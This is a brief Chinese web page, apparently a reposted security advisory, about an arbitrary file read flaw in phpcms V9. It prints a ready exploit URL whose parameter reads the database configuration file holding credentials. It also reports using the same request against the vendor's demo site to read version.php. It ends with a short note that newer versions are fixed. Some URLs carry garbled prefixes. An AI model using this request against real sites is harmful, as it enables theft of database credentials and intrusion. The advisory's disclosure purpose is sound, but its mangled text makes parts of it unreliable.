phpcms V9最新任意读文件漏洞 - 网站安全 - 自学p

漏洞 利用代码：

/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q= phpsso_server/caches/configs/database.php

原文：http://HdhCmsTestwooyun.in/post/7. html HdhCmsTest2cto测试数据修复方案：这应该是以前版本的问题，红黑联盟编辑通过 http://v9.demo.phpcms.cn/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q= caches/configs/version.php 确定为V9.1.13 20120129，目前最新版本已不存在该问题

查看更多关于phpcms V9最新任意读文件漏洞 - 网站安全 - 自学p的详细内容...